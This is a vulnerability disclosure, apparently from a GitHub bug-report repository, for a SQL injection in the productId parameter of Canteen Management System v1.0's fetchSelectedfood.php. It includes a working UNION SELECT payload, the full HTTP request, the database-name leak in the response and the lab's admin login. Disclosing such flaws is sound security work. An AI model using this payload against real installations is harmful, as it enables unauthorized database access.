

main

...

bug_report / vendors / mayuri_k / canteen-management-system / SQLi-1.md



01001000entai Create SQLi-1.md

History

1 contributor

35 lines (24 sloc) | 1.2 KB

...

Canteen Management System v1.0 by mayuri_k has SQL injection

BUG_Author: Pengxuan Li

vendors: <https://www.sourcecodester.com/php/15688/canteen-management-system-project-source-code-php.html>

The program is built using the xampp-php8.1 version

Login account: mayuri.infospace@gmail.com/rootadmin (Super Admin account)

Vulnerability File: /youthappam/php_action/fetchSelectedfood.php

Vulnerability location: /youthappam/php_action/fetchSelectedfood.php, productId

dbname =youthappam,length=10

[+] Payload: productId=-1 union select 1,database(),3,4,5,6,7,8,9 // Leak place ---> productId

POST /youthappam/php_action/fetchSelectedfood.php HTTP/1.1

Host: 192.168.1.88

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

DNT: 1

Cookie: PHPSESSID=1f9hph2449vgrcadcct2jgd8ne

Connection: close

Content-Type: application/x-www-form-urlencoded

Content-Length: 52

productId=-1 union select 1,database(),3,4,5,6,7,8,9

Load URL

Split URL

Execute

192.168.1.88/youthappam/php_action/fetchSelectedfood.php

☒ Post data

☐ Referrer

0xHEX

%URL

BASE64

Insert string to replace

Insert replacing string

☒ Replace All

productid=-1 union select 1,database(),3,4,5,6,7,8,9

('0':'1',"product_id":"1","1":"youthappam","product_name":"youthappam","2":"3","product_image":"3","3":"4","brand_id":"4","4":"5","categories_id":"5","5":"6","quantity":"6","6":"7","rate":"7","7":"8","act